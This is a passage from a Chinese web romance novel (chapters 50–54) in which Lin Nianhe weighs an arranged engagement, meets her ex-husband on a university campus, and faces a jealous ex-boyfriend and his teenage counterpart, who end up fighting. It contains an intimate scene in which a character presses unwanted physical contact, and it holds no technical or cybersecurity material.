钱不是问题,他这辈子,缺过很多东西,唯独没缺过钱。哪怕霍家出事,他爸临走前,还在国外留了一大笔资产,足够他过好几辈子。 他爱她。 年少时,因为过于紧张在乎对方,像一颗滚烫的流星,莽撞地冲进爱人的怀里,丝毫不管高温会不会灼烧自己爱的人,只希望把她困在自己的天地里,跟她就此携手到老。 夜晚梦里,他后悔过很多次自己脱口而出的分手。 再想回头找过去的时候,却出了意外,一睁眼躺在国外的病房里,孤零零地面对术后危险。 他想的是如果活下去,就去找她。 求着她,可怜巴巴地乞求复合,拽住她的衣角,发誓自己会改。 术后评估不好,他被转到重症监护室。 再次得知她近况,就是林念禾要结婚的消息。 那一刻的心情,是他这辈子都无法形容出来的。像有人徒手把他心挖出来一块儿,又血淋淋地将他劈成两半。 三年里,他反思过很多,那些被忽略过的细节,林念禾若有似无的抱怨,一遍一遍地折磨着他,愧疚在心底无限放大,挤压着霍锌的生活。 只有工作才能勉强让他从中喘气。 回国后,他没胆子见她,结果遇见了,还是没忍住。 大概是天性使然,他又一次伤害了她。 霍锌想,他学着变好,林念禾才能回头多看他一眼。 比如现在。 他抛弃了所有谈判桌上的技巧,把自己的内心剖析给她看,以奢求她的同意。 狗冲着他们叫了两声,吐 着舌头,跳到两个人的中间。 以前他们闹别扭,它就会这样横在中间,咬着一个人的袖子,塞进另一个人的手里。 乐乐坐在中间,没有去咬他们两个人其中任何一个的衣袖。 林念禾细细琢磨他的话,按照她的了解,霍锌说话的态度绝不可能在骗她。 她安静了一会儿,声音低低的,“不跟他结婚,我也会跟其他人谈恋爱。” 如果欠下霍锌这份大人情,自己以后对他没法儿旧情复燃,又该怎么办。 “我知道。”他打断她的话,“未来你的心在哪儿,都无所谓。” “不会用这件事情去要挟你,只要……” 霍锌顿了顿,“我说到做到。” 只要她别躲着他。 他起身,走向玄关。 屋内剩下她一个人,直到阿姨出来问她晚上要不要吃宵夜,林念禾才回神。 说了句不要,她倒下去,躺在沙发上,耳边还环绕着霍锌说的话。 他们真的都变了。 18岁的霍锌,没有后来那样的强占有欲,会蹲下身,抬眼望着她,冷静地分析事情情况。 27岁的霍锌,站到她的面前,跟她说,什么都不用管,想拒绝就拒绝。合作撤资,缺多少他就补多少。 闭着眼想了一会儿,林念禾越想越烦,索性站起来进房间睡觉。 楼上, 霍锌打开屋门,看见跟自己长着同一张脸的少年,靠在墙壁上冷冷望向他。 小霍的目光在他身上转了几圈,“她果然没要你。” 鉴于这次联姻的消息,是他及时告诉的霍锌,于是霍锌睁一眼闭一眼地让他住了进来。 霍锌自动忽略他话里的阴阳,朝酒柜走去。 他挑了支酒,酒液顺着杯壁流进杯底,仰头喝了一口,喉结滚动。 少年走到他身边,眉毛轻蹙,“三十的男人,少折腾自己。只有自律的男人,才能照顾好女朋友。” 霍锌冷脸,“明天不上学吗?” 他坐到岛台的另一头,有些嘲讽说,“我怕你喝死在家里没人管。” “林念禾和别人结婚,你又要给她当情人了。” 家里安静了一瞬,没接话的男人,低眸看着杯子里转动的冰块。 好半天,小霍都有些失去耐心了。 男人缓声道,“她爱我或者不爱我,我对她的爱都不会少一分一毫。林念禾想做任何事,就算是从万米高空中往下跳,我也会伸手接住她。” 酒精缓缓爬上神经,他忽地想起高中大学的时光,这些都是对面这个年轻的自己没有的记忆。 有些道理,人教人,教不会,事教人,一遍就能教会。 但他见鬼地想试着拉一把过去的自己,让那个时空里的还年轻的林念禾,少些痛苦。 “你喜欢她吗?”霍锌问。 “当然。” 十七岁,小霍就认定他们会一辈子在一起。 霍锌抿了口微苦的酒,嗓音发哑,“你的喜欢,并没有尊重她。” “因为一点小事,就吃醋发脾气。掌控欲强烈,自以为是地觉得自己什么都能解决,希望她永远躲在你的羽翼下,成为一个全心全意被家庭束缚的富家太太,这就是你的喜欢。” 他声音陡然低下去,“也是以前的我。” 少年沉默,抬眸看向霍锌,“但我不会跟她说分手。” “……” 过了一会儿,少年站起来,“喝死了,没人给你收尸。” 他立在光影里,“蝴蝶轻轻煽动一下翅膀,未来过去就有可能截然不同。我不知道你的过去经历了什么,但是我见过林念禾有野心的样子,所以不会去插手她精彩的未来。” “她或许会从事科研,或许会当律师,林念禾爱干什么,就干什么。” “我不可能让自己变成你,一个连她要和别人结婚了,都没胆子去阻止的废物。” 霍锌斯条慢理地整理了下袖口,“祝你成功。” 他迈步朝房间去,背后的声音突然叫住他。 “你不想知道我今天看见了谁吗?” 霍锌脚步顿住。 “林念禾前夫回来了。”少年慢悠悠地道,“你猜,在她心里,是那个绿茶分量重一点,还是你这个前男友” 房门被阖上,小霍睨了眼紧闭的门缝,扯了下唇。 说不在乎,其实在意的要死了吧。 姜砚和林念禾只相识了三个月,那位前夫,却是实打实的两年婚姻。 装货。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 50-60 第51章 第51章前夫,未婚夫 霍锌的提议,为林念禾带来了另一种选择。 她没有急着做决定,而是缓下来,和姜砚继续以即将订婚的身份相处了一段时间。 刚刚踏入四月份,天气渐渐转温,姜砚的外公突然在某天夜里没了呼吸。办完老人的丧事,要是转头在同一月办儿孙的婚事,就显得有些不孝。 出于考虑,两家父母商量了一下,把订婚的时间推迟到三个月后,也就是七月份。 多出来的时间,刚好能把场地婚戒什么的都安排妥当。 餐厅包厢, 时隔多日不见,姜砚肉眼可见地瘦了一些,虽然还是很好看,但有种遮不住的失落。 他把脸贴在她的肩上,手很安分地没有环住林念禾的腰,只是单纯地朝她贴贴。 姜砚外公身体一直不好,这些年随着年纪越来越大,几乎有大半的时间都住在医院里。 即使早有准备,外公的去世还是让他难受了好一阵。 林念禾不知道怎么安慰他,沉默地让他靠着。 包厢里安静了好一会儿,服务员推门进来,看见两个人,顿时尴尬地立在门口。 姜砚听见动静,抬眸看了一眼,起身回到自己的位置上。 他勾选了一些餐厅的特色菜,又加了几道林念禾爱吃的,把菜单递给服务员。 服务员接过,转身出门。 林念禾喝了口柠檬水润嗓,“今天想做什么,我陪你。” 他靠在椅背上,突然倾身,“什么都行吗?” 孤男寡女,密闭空间,配上姜砚的表情,这话乍一听,直接让人联想到某些成人向的东西。 林念禾表情平静,两个人遥遥相对,姜砚在这死一样的沉默里,后知后觉地感受到了一丝不对劲。 他语气别扭,“我……不是那个意思。” 给他三个胆子,他也不敢现在把林念禾拐床上去。 更何况,他是处男。 处男第一次,总得让他多做点心理准备,冒冒然然地直接上场,姜砚真怕自己成为林念禾过往床伴里最差的那个。 他泄气般地看着窗外。 其实也不想干什么,就是想跟她待在一起,哪怕什么都不干,安安静静地肩并肩坐在一起,他就很开心了。 姜砚忽地想起来,这旁边有个大学。 吃完饭,他拉着林念禾往附近的学校去。在看到熟悉的校门后,她不自觉地往后退了一下,背部撞进男人的胸膛。 姜砚眼眸含笑,低头扶住她,“怎么了?” “没站稳。” “那我可得牵好你,别等会儿走丢了。” 他扣着她的手腕,往校门里走。这个时间正好赶上大学生下课,出来吃饭散步。A大的绿化做得向来很好,她第一次进来参观的时候,就被其中一条梧桐道吸引住了。 四月份,梧桐树的树干还是光秃秃的一片,刚冒芽。 学生们三三两两结伴,天色早降下去了。 两个人长相气质出众,四面八方的各种视线时不时就投过来,打量他们两个。 姜砚身上还带着没有被知识污染的纯真, 林念禾今天上了一天班,开了一上午的会,身上的班味儿都快溢出来了,他走在林念禾身边,像被她包养的男大学生。 可能因为他们看上去并不是很亲密,连手都没有牵,于是有女生大着胆子上来朝姜砚要联系方式。 姜砚先是一愣,看向面前化着妆的年轻女生,笑了下。 慢悠悠地把目光投向林念禾,“不好意思,联系方式不能给你,我有老婆了。” 女生被他的话整得大脑停顿了片刻。 姜砚看上去和她同龄,刚到法定结婚年龄的样子。 居然结婚了 她顺着对方的视线,扫到旁边的林念禾,脸陡然变红,刚想道歉,猝不及防望 见两个人身后过来的人,出于骨子里学生的教养,下意识同对方打招呼,“江老师好。” 姜砚侧脸朝后瞥了一眼,一个穿着黑色风衣的男人正站在不远处。 男人的鼻梁上架着一副金丝眼镜,眸光温柔,察觉到他看过来时,神色如常地回视过去。 明明是一次很普通的对视,姜砚却不自觉皱眉。不知道是不是自己的错觉,他感觉对面这个男人不喜欢他,面上却装的平静。 女生看见江予州走过来,心猛地颤了一下,脚底抹油似地准备开溜。 江予州看起来温柔,大学物理期末考的时候,真不捞人。 每年学校学生私下评比里,他只能靠甩其他中年教授几条街的长相,堪堪获得最受欢迎老师的第九名。 听以前的学姐说,江予州上课严归严,还算幽默。现在不知道因为什么,停薪留职回来后,幽默程度陡然锐减。 女生开溜之前,不忘补上没说出来的道歉,“对不起,我不知道你们结婚了,祝你们百年好合。” 话音一落,周遭氛围倏地变沉下去。 女生跑得飞快,剩下三个人站在路边。 林念禾盯着江予州的脸,发现和走之前没什么太大的变化,心里叹了口气,打破这份寂静。 “什么时候回来的?” 江予州望着她,灰褐色的瞳眸藏着深意,他垂眼,落在身侧的手指微微蜷缩了下,心底发痒,想抱她。 他努力克制住自己的冲动,“上个月。” “你身体痊愈了?” “差不多。” 两个人一来一回地说着姜砚听不懂的话,他打断他们的叙旧,“他是你朋友” 林念禾噎了下,不知道该怎么给他介绍江予州。 去年离婚的前夫 虽然很多人分手后还能做朋友,但大部分没有孩子的离婚夫妻,都是老死不相往来。 像她这样心平气和地偶遇前夫,还关心对方的身体,估计全国也找不出几对。 如实介绍,等于给自己找麻烦。 说假话,显得他们之间藕断丝连,还有联系。 就在她犹豫不决时,耳边响起男人的声音。 江予州朝姜砚伸手,“我是她前夫。” 姜砚顿时看向对方的眼神都变了,敷衍地碰了碰他的手。 原来是前任。 转念想到第一次见面,林念禾说自己对前男友恋恋不忘。 前夫和前男友还是有区别的。 换个思路,不是恰好证明,她在这段婚姻里一直喜欢自己的前男友,对眼前的这位前夫倒是没什么留恋。 姜砚眯了下眼,冷不丁牵住林念禾的手,“七月份我们订婚,江先生想来的话,记得提前通知我一下,我好找人给你送请帖。” 他很大方,大方到可以邀请她的前夫来订婚宴。 毕竟到时候,站在林念禾身边同她完成仪式的是他。 而所谓的前夫只是一个过去,谁会去在意被丢进垃圾场里的男人呢。 林念禾尴尬到想捂住姜砚的嘴,她还没想好要不要订婚,姜砚就开始拿着正房做派四处耀武扬威。 他们是和平离婚,上赶着刺激前任,这等于让她在江予州面前忽然矮了一截。 江予州没有理他,蹲下身,轻轻用指尖碰她的脚腕。 冰冷的触感从脚踝的皮肤上传来,林念禾鞋跟往后退了下,躲开他的手。 江予州起身,“我办公室里有平底鞋,要换吗?” 今天有场很重要的会议,为了在气势上压住对方,林念禾就换上了一双平时不常穿的高跟鞋。 高跟鞋磨脚,姜砚提出逛街那会儿,她想着说出口的话就得做到,索性没提鞋的事。 江予州不提醒还好,一提醒,那熟悉的疼痛忽然加重了好几倍。 姜砚低头看向她的鞋,才发现她今天穿的鞋子并不适合散步。 他妈是大明星,所以从小他习惯了身边的女性踩着高跟鞋,出席各种场合。 意识到自己的忽略给林念禾带来了麻烦,姜砚瞬间愧疚,心脏像是被人握住,“对不起,我不好,我没注意到。” 只是脚跟磨破皮,又不是生死离别,她侧眼瞧见他焦虑的表情,无所谓道,“回去贴个创口贴就能好,不严重,没多疼。” “我们回去吧。” 姜砚想扶着她,兜里的手机突然响起来。 电话那头是他表妹的声音,带着哭腔,“哥,外婆不见了,你今天带外婆出去了吗?” 姜砚:“我今天没看见外婆,你先别着急,让护工阿姨在家里找一遍。” “我们找了,没找到。” “你们别慌,我马上过去。把家里监控调出来,再去小区物业那里找保安要楼道的监控。” 电话挂断,林念禾率先开口,“你先去吧。” 他犹豫两下,“到家记得给我发个消息。” 说完疾步离开。 目送人走,林念禾松了口气,转头看见江予州目光沉沉。 江予州方才一直都很安静,静静地矗立在旁边看他们。 意识到林念禾的眼神,他勾唇露出一个平日里的笑,“我办公室在前面,先把鞋换了,再回家吧。” 林念禾刚想拒绝,左脚稍微一动,钻心的痛感刺激得她倒吸了口冷气。 她平静地道谢,“麻烦你了。” 两个人并肩走过去,办公室在前面的学院楼里。 一路上去,有认识的学生跟江予州打招呼,有机灵点的还顺便朝林念禾喊了句师母好。 他的办公室在四楼的最里面,单间,门打开,灯光骤亮。 房间内的摆设很简单,一套沙发和茶几,一张办公桌,桌子后面还有一排书柜用来放文件和专业书。 林念禾忍着疼,正常地走到灰色沙发前坐下。 刚坐下,眼前罩下来一道人影,江予州手里拿着一个创口贴,蹲在她的跟前,眸色淡如水,“要我帮你吗?” 林念禾拒绝,脱下左脚的鞋,接过创口贴,撕开外包装贴在破皮的地方。 江予州拿过来的平底鞋是她之前留在他车上的,不知道为什么最后被他放在了办公室。 他走到饮水机旁边,拿了个纸杯,温水流进杯底。 安静的办公室里,林念禾听见他问,“七月份订婚,时间这么紧” 她靠在沙发靠背上,抠了下自己的手,“还行,毕竟不是结婚。” “你未婚夫看起来不是个心思细腻的人。”他把纸杯放在她面前的茶几上,“我也不觉得你很喜欢他。” “所以,为什么要跟他结婚” 第52章 第52章你把我当成谁了? 这段时间,林念禾不知道听了多少遍类似的问话,耳朵都要磨出茧子了。 对贺渺这种最亲近的朋友,她会如实回答,说自己还在考虑张望,不一定会订婚。 关系远一点的,她则是敷衍地点头,或者直接懒得搭理对方。 上述两种态度,用在江予州身上都不太合适。 她捧着纸杯,温度透过薄薄的纸壁传到手心。脚跟处的疼痛逐渐平缓下来,大脑得以抽出空来思考怎么回答他的问题。 小小的单人办公室里,寂静如水般蔓延开。 长时间没等到她的答案,江予州的 目光不偏不倚地落在她的脸上。 将近半年多没见面,林念禾并没有太大的变化,依旧是那副清冷的模样,耳垂上挂着一对珍珠耳饰。 江予州忽地想起第一次见面,她带着和今天差不多的耳饰。 那会儿她刚经历人生中最大的坎坷,前男友车祸去世,林母生病。整个人散发出淡淡的疲惫,言语间却很沉稳。 接触久后,他慢慢地发现她性格并不是第一眼看起来的那样,私下里的林念禾会开玩笑,会用很幽默地吐槽工作,像一颗石子砸进他平淡的生活里。 这一切让他差点忘了,他们结婚的时候,林念禾也同样不喜欢他,只是因为顺眼,不反感,所以半推半就地进入婚姻。 自己当初还不如现在的姜砚,起码姜砚和她是有感情基础的。 眼前浮现出,方才校园里并肩站在一起的画面,男女手牵在一起。 他差点控制不住自己的表情,侧头,看向窗外。 等平稳好心情后,江予州善解人意地蹲下来,帮她用盒子装好换下来的高跟鞋。 他搭着眼,“需要我送你回家吗?” 上一个话题就这么被掀过去,林念禾唇贴上杯沿,喝了口温水,“不用,我打车回去。” “之前的房子,我没改密码,你如果想回去,可以直接回去住。我改天找律师拟一份关于婚内财产分配的合同,除了狗不能给你,剩下的都行。” 她现在的身价不低,多一套房子少一套房子,对林念禾来说,没什么太大的区别。 本来就是和平离婚,双方都无过错,财产问题上当然得明明白白。 “不用。”江予州说,“给了你的,就是你的。” 他能给她的不多,当时一门心思想的是,自己死了之后怎么才能多给林念禾留些保障。 现在要是回过头来找她进行财产分割,他怕是这辈子都不会再出现在她面前了。 “我能不能申请一下孩子的探视权” 林念禾看了下时间,把水杯放回茶几,起身。 她养的狗,铁打的妈妈,流水的爸爸。 从霍锌到江予州再到小霍,它短短的狗生里,已经拥有了很多的爸爸。 还有个姜砚,等着转正做它爸。 “可以给我打电话,我让家里的阿姨带它下去遛弯的时候顺便给你看一眼。” 再多就不能了。 毕竟是她的小狗。 江予州叹气,一手拉开办公室的门,一手摸上墙壁的开关,“你心好硬。” 他甚至有些羡慕林念禾养的狗,起码能被她坚定的选择,而他连林念禾喜没喜欢过自己都不能确定。 两人朝电梯口走去,这个点,有晚课的老师都去上课了,学院楼里剩下的老师并不多。 “下礼拜陆氏来学校春招,你会来吗?” 她想了下自己的行程安排,好像确实有这么个活动。 大学生在短视频平台算得上最活跃的一批用户,苏荥建议她随便挑个好大学办个宣传讲座,后期公司宣传部门再找人剪辑发视频,蹭个热度,好方便新品牌的推广。 林念禾眼神四处乱飘,“可能会来吧。” 电梯下行到一楼,他们走到学院楼门口,江予州顿住脚步,“晚上还有组会,我就不送你了。” “你先忙吧,再见。” 他沉默地站在门口,等林念禾的身影消失在路口后,神色冰冷,藏在胸口处的项链,明明只有几百克的重量,一霎那好似千斤重,牢牢地掐住他的咽喉。 门口有老师路过,顺嘴和他打招呼。 江予州敛眸,恢复正常,朝对方笑了笑,转身走进身后建筑的大门。 A大地理位置方便,林念禾刚到学校大门,打的车就到了。 装着一些心思,她稀里糊涂地回家,视线猝不及防扫到沙发上坐着的男人,顿时回神。 霍锌看起来下班很久了,在楼上洗过澡,穿着家居服,领口散开一大片,小猫趴在他的胸前,用爪子勾着他的衣领。 可能是觉得好玩,所以它下手没轻没重,前爪一勾,本来就摇摇欲坠的扣子,直接掉落在地面,咕噜噜地滚到林念禾的脚边停下。 男人正低头看着平板里的文件,察觉到它的动作,微皱眉,单手拎起它的后颈,把它放在腿上。 训斥的话还未出口,一只纤细的手冒到他的眼前,掌心朝上,纽扣躺在中间。 霍锌顺着胳膊往手的主人望去,林念禾没什么表情居高临下地注视着他。 这人最近一段时间闲得可怕,自从搬到楼上后,隔三岔五就跑到她家。他甚至在阿姨的面前混了个眼熟,一来二去,都不用站在她家门口等她回来,直接就能让阿姨给他开门。 她自己养了狗,就没考虑再去养猫。 霍锌于是利用这点,抱着他捡的猫,故意在她眼前晃悠来晃悠去。 见他迟迟没伸手接过去,林念禾没了耐心,把东西扔到沙发旁边。 小猫嗖地一下飞过去,她坐到另一侧,用脚踢了踢他的小腿。 霍锌瞄了她一眼,犹豫一秒,攥住她的脚腕。 突如其来的肢体接触,给林念禾吓了一大跳,跟兔子似的,猛地把自己的脚收回来。 “你别得寸进尺。” 她能让他进屋就已经是莫大的开恩了。 “我以为你让我帮你捏腿。”霍锌伸手拢了拢自己大敞的领口,遮住露出来的锁骨。 “……” 他侧眸,“今天和姜砚见面了?” 林念禾倒在沙发上,腿蜷缩起来,脸朝里,也不管他有没有吃醋,如实回答,“就吃了顿饭。” 她和霍锌现在的关系,说不上多好,比起朋友,更像是合作伙伴。 她对他的态度,比一开始的拒绝,要缓和不少。 但还没到接受对方□□的那步。 霍锌把手里的平板放到旁边,欲言又止。最后沉默地把自己的猫,送到她的怀里。 这样的局面对几个月前的他来说,是奢望。但现在的他,又不满足。 甚至两个人能独处,也是多亏于高中每天都有晚自习,霍锌天天待到九点多,算准小霍放学的时间,再上楼。 林念禾手里摸着小三花的长毛,心里想着的却是白天见面的江予州。 长久未见,其实有点陌生,恰巧那点距离感被江予州一如既往的体贴给冲淡,才让他们的再见显得不那么尴尬。 白天累了一天,晚上陪着姜砚走了一段距离,紧绷的神经逐渐被困意蚕食,眼皮一点点垂下去。 因为这段时间习惯霍锌坐在她身边办公,林念禾几乎没什么防备地很快陷入睡眠。 平缓的呼吸声在安静的客厅里格外明显,落地窗外是降下的夜幕,小猫趴在她的怀里乖巧地窝着。 男人刚倾身靠近,它就呲了下牙,前爪抬起来,一副要锤他的架势。 霍锌动作很轻地把它拎出来,放到脚边,用看白眼狼的眼神很嫌弃地看了它一眼,接着视线重新回到林念禾身上。 她的睡姿看起来很没有安全感,缩在一块,脑袋埋在臂弯下。 林念禾睡得昏天黑地,迷迷糊糊间,陷入某个温暖的地方。大概因为今天见到了前夫,两年的回忆如同潮水般向她涌来,无数的记忆碎片组成梦境,将她困在里面找不到出口。 脚踝传来一阵温湿的触感,伴随着隐隐约约的刺感,另一只脚的脚背被某个湿漉漉的东西在舔舐。 林念禾动了下脚,脚尖滑过柔软的皮毛,她眼睛闭着,半梦半醒间,不耐烦地朝空气轻轻踢了下,转过脸,语气抱怨,“江予州,你别让它舔我脚。” “……” 客厅气氛倏地骤变,她还陷在梦里,“痒死了,你给它喂点肉条,我好困。” 困意使得林念禾的嗓音变得微哑,尾音带着波浪号似的,娇声娇气。 脚边的舔舐停下,她安稳地重新睡着。 过了几分钟,林念禾从梦里陡然惊醒,恢复意志。 哪来的江予州,她刚睡着前,家里沙 发上坐着的好像是霍锌。 林念禾还心存侥幸,万一他走了呢。 很快,这份侥幸被脑袋下枕着的某个柔软部位打得稀巴烂。 她的手还放在他大腿的边缘,指尖是霍锌身上衣物的布料,鼻尖环绕着冷香,林念禾闭着眼睛,努力地试图让自己重新入睡。 睡着了,就可以装作没事,糊弄过去。 但很显然,霍锌没打算放过她。 男人眼皮下搭,眼眸暗沉,沉默地看着她装睡。 假到不行的演技。 呼吸比先前睡着的时候放轻了很多,林念禾估计现在真的有点无助尴尬,全身僵硬,压在他大腿上的脑袋动都不敢动。 他抬手,轻轻地摩挲着她的耳垂,不轻不重的力道,却一下一下地砸在她的心上。林念禾感觉到自己的心跳加速,耳垂发烫。 不知道过了多久,他终于大发慈悲地放过那小块皮肤。 没等她缓口气,手又落到她的领口。 霍锌并没有想做什么,只是诡异地生出一点好奇,想看她能装到哪个地步。 或许,更准确的说是看她能为江予州装到哪个程度。 没等食指碰到她的锁骨,林念禾突然睁开眼睛,握住他的手,从他身上爬起来。 她眼神清明,表情却是刚醒的模样,左脚边是自己养的狗,右脚边是霍锌的猫。 “你刚想干什么?” 林念禾皱眉,心脏怦怦跳,面上不显,倒打一耙地率先问责,“趁我睡着了,占我便宜” 霍锌神情晦暗,忽而笑了下,眼里却没有丝毫笑意。 “你嘴里刚才喊的是谁的名字” 他逼近,高大的身影逐渐压住她,手落在林念禾的腰间,意味不明地望着她的眼,“你把我当成谁了?” 第53章 第53章动手 林念禾的眼神下意识躲闪,被他压陷在沙发的一角,胸腔前的空气渐渐变少,呼吸间都是男人身上的气味,这种突破社交距离的亲密,让她开始不适。 脚边的罪魁祸首,早不知道跑哪儿去了。 霍锌一手压住她的双腿,面无表情地凝视着她。 林念禾挣扎了一小下,摁在她身上的手纹丝不动,于是费力地仰头望他,“你说什么,我听不懂。” 遇到不能解决的问题,她会果断选择装傻。 “除了姜砚,今天你还去见了谁?” “马路边的人多了去了,你问的是哪一个。” 他扯唇,目光突然下移,手指冷不丁钻进她外套的口袋,从里面拿出来一个印着A大校徽的徽章,质问,“这是什么?” 金属的小圆片泛着冷光,上面清清楚楚印着学校名字的英文缩写。林念禾的大脑空白一片,刹时间死活想不起来怎么有这么个东西跑到了她的口袋里。 江予州放的 还是她自己顺的? 林念禾眼眸垂下,“不知道。” “你跟他见面了。” 他是在陈述,并不是在发问,客厅里安静的像一摊死水,危险的气息悄无声息蔓延开,林念禾往里缩了缩,试图能跟他保持一点点距离。 她不敢确定他现在的状态,但即使是个路人,也能从他冷漠的神情里看出来霍锌的心情差到顶了。 没等林念禾屁股往里挪进一寸,他摁在她腿上的手,忽地落到她的腰间,直接挤开她的双腿。 男人的膝盖只要稍微往前几厘米,就能抵到对方最柔软的部位。 林念禾真慌了,用手推他,“你大晚上发神经吗?” “我……”没说出口的话,被一句呜咽给打碎,她咬着牙,咽下尾音,骂道,“我们什么关系,你管的着吗?” “霍锌,你要是脑子有问题,就去找家医院挂科看看,别来我这撒疯。” 闻言,男人撩眼看了下她薄红的脸,慢条斯理地伸手替她将黏在脸上的发丝拨开,膝盖不轻不重地又动了下。 “你可以说实话,可是偏偏选择了对我说谎。” 林念禾吸了口气,潮湿逐渐浸润布料,她仰头,全身上下的感官都聚集在某处,“我和他就见了一面。” “姜砚也在场,真的就是碰巧遇见。” 脆弱的神经被他不停挑拨,林念禾努力让自己看起来正常,“上个月,你坐在我家客厅说就算我不喜欢你,你也会帮我。” “所以代价是让我用身体偿还吗?” 霍锌动作停下,膝盖压在沙发上,“谁都可以,但他不行。” 她听着好笑,“我能和别的男人谈恋爱,接吻上床,除了江予州” 无视话里让他嫉妒发疯的词语,他轻轻擦去她因为刺激而溢出的生理性泪水,神情很淡,“他不适合你。” 婚离都离了,还想转头来吃回头草。大众都说男人心思单纯,互相之间没有弯弯绕绕,实际上,男性算计起配偶,才是真正的吃人不吐骨头。 至少现在的林念禾对于那位大病初愈的前夫,是他拼了命才能够上的人。 林念禾从他的语气里,捕捉到了一丝不屑和厌恶。 她看他道貌岸然的样子,心里不爽,明明现在关系里的上方位者是自己。林念禾沉默了一瞬,突然伸手勾上霍锌的肩,手顺着往下滑。 男人没有出声,只盯着她,静静地等待她的举动。 霍锌的身材一直保持的很好,从初中开始就有腹肌,林念禾以前听他说这事的时候,还觉得他吹牛,结果下一秒手就被他压着隔着衣物贴到腹部。 思绪回笼,林念禾表情不变,没收力,先摁了下男人胸口的肌肉,不等他反应,直接揉了几下。 掌心是坚硬的珠粒,她捻了捻,飞快地撤回手,一把将他推开。 霍锌没有防备,直接被推倒在地,单手撑着身体,抬眼望她。 林念禾警告他,“你再敢过来一步,就别想再跟我说一句话。” 他眸色暗沉,抿唇侧头,终归没敢再往前一步。 两个人正缓着呼吸,突然门外响起门铃声。 单肩背着书包的男生,一手支在墙面,有些犯困地等着人来开门。 今天联考,正好碰到一个不会做的数学题,所以想借着问题的机会,凑到林念禾身边。 小霍无聊地等着里面的人,等了一会儿,还是没听见门开的声音,又伸手摁下门铃。 直到第三次,他眉毛皱起,抬腕输密码。 林念禾只删了他的指纹,密码还是老样子。 门被打开,他迈步进去,客厅里灯开着,却不见人,沙发上的抱枕七零八落地散着,地上还躺着一只狗。 它听见动静,尾巴摇了两下,没理小霍,趴回去睡觉。 他把书包扔在茶几上,拍拍它的脑袋,“你妈妈呢?” 狗估计是困了,没回应他。 小霍拿出手机,翻出林念禾的电话,打过去。 熟悉的电话铃声骤然响起。 主卧内, 她被男人压在门上,沉重的呼吸洒在耳边,大脑里死死绷着一根弦。 他们并没有干什么,霍锌直视着她,眼神若有似无地在她的唇上转悠。 小腹压上某个地方,她喉咙发干,用气声说话,“离我远一点。” 要是被另一个十八岁的霍锌发现了,她跳进黄河都洗不清。 霍锌埋在她的脖颈处,闷声笑了下,“你觉得我现在能出去” 他报复似地掐了下她的腰,又像舍不得似的,指腹开始摩挲。 “你不能去浴室吗?”林念禾指着浴室的方向,“自己去解决。” 门外, 小霍从沙发角落里找到了一直在响的手机,他看了一会儿,食指动动,把电话挂断。 目光一瞥,发现一枚纽扣躺在地毯上。 他俯身,把小小的纽扣捡起来,脑中闪过霍锌衣柜里的衣服。 这枚扣子的颜色很符合他的衣服。 男生把东西收起来,片刻后,起身迈步往主卧去。 门外的脚步声响起的刹那,霍锌酝酿已久的吻也落到她的唇边。 他轻轻舔舐,很有分寸地没有再进一步。 脚步声越来越近,林念禾浑身的注意力都被它吸引而去,紧张到极点,仿佛站在悬崖边缘,一动都不敢动。 偏偏身前的男人跟故意似的,离开她的唇,抱住她的腰,温热潮湿的呼吸落在林念禾的脖侧,惹得她发痒。 缓慢的脚步声停了。 没等她缓过神,外间的人紧接着抬手敲门。 门板的振动,贴着林念禾的背部,传进心脏。 房间内静悄悄的,房间外也同样寂静。 她等着外面的人放弃,自己离开。 男生等了片刻,没敲第二次,而是直接握住门把,转动。 门被打开一条缝。 林念禾坐在床边,面无表情地望着对方。 “怎么了?” 少年往卧室里扫了一圈,确定没看见其他人后,心才落地,平静道,“有道 题不会。” “刚才敲门,你怎么没理我。” 林念禾翻着手里的书,“在看书,没听见。” 他哦了一声,又觉得哪块地方不对劲,站在门口问,“你怎么没换睡衣” 她指尖停顿,状若没事地翻了一页纸,“等会儿换。” “你先出去,我看完这一页就来。” 小霍的脚尖转动,停在原地,狐疑,“你屋里怎么有股味道” 林念禾看了看四周,“什么味道” “跟霍锌房间里一个味儿。” “我新换的熏香,可能味道相似。” “不好闻,建议你换一个。” 话音刚落,一个影子从床底冲出来,伴随猫叫。 林念禾嘶了一声,脚踝传来一阵痛,几道血痕浮现在表面。 霍锌的猫不知道什么时候跑到她的床底下藏着,看见她拖鞋上的小球,直接扑出来,爪子没收起来,划破她的脚跟。 人倒霉,喝口凉水都塞牙。 小霍快步走到她身边,把猫拎远,手刚碰到她的脚,就看见换衣间里出来一个熟悉的男人。 对方单膝跪下来,把林念禾的脚搭在自己的腿上,仔细打量。 小霍手慢一步,站在一边,表情冷下来,“你为什么在这里” 霍锌没理他,“伤口有点深,以防万一去打个破伤风。” 林念禾神情苦下去,一副不想去的样子。 小霍一听,眉毛拧起来,拉着她的手腕,“不去也得去,多大的人了,还怕打针吗?” 三个人半推半就,主要是一大一小的霍锌强逼着她下楼,坐上车。 霍锌开车带着她去了最近的医院,两个人跟门神似的,站在她的身后,看着护士帮她清理伤口。 打针没有想象中的疼,林念禾眉毛都没皱,就结束了。 她摁着手臂上的棉花,打着哈欠坐上回家的车。 因为插曲来得太快,导致她差点忘记被抓到的尴尬。 想到这,林念禾不动声色地看了眼后视镜里坐在后面的小霍。 后者藏在黑暗里,看不清表情。 没问就是没发现。 电梯到目的地,林念禾拎着药袋晃晃悠悠地出电梯,回家。 霍锌摁下按键,电梯上行。 小霍望了他一眼,表情冷淡。 两个人刚进门,他把外套脱下,身后一道风席过耳侧。 霍锌转身,“你做什么” 小霍冷笑了下,“你今天在她房间里干什么?” “有事。” “有什么事,能到她卧室里面谈” 他语气讽讥,“是你自己出钱想要帮她拒绝陆家的订婚,现在又借着这事欺负她,贱不贱” 话尾一落,霍锌结结实实地挨了一拳,头偏过去。 他没动,看男生跟看笑话似的,“那你比我又好到哪里去,借着做题的名义跑到她家。” 唇角漫上来一丝铁锈味,霍锌松了松袖口,忽而抬脚踹上对方的膝盖。 第54章 第54章他影响我高考 这场架最终以两个人的脸上双双挂彩结束。 27岁的人和18岁的人动手,霍锌也有点抹不开面子,但因为对方一而再地突破他的底线,他就没忍下去。 他在浴室里,对着镜子仔细看了下,嘴角破了一个小口,其余到没什么严重的,估计明天睡一觉起来就能恢复,不影响他上班。 霍锌冷着脸,故意伸手摁了摁那道伤口,刚凝固的痂破开,丝丝血液重新冒出来,口腔里的铁锈味和唇部的疼痛,传到大脑神经。他却跟感觉不到似的,硬是等伤口变大了,才面无表情地收回手。 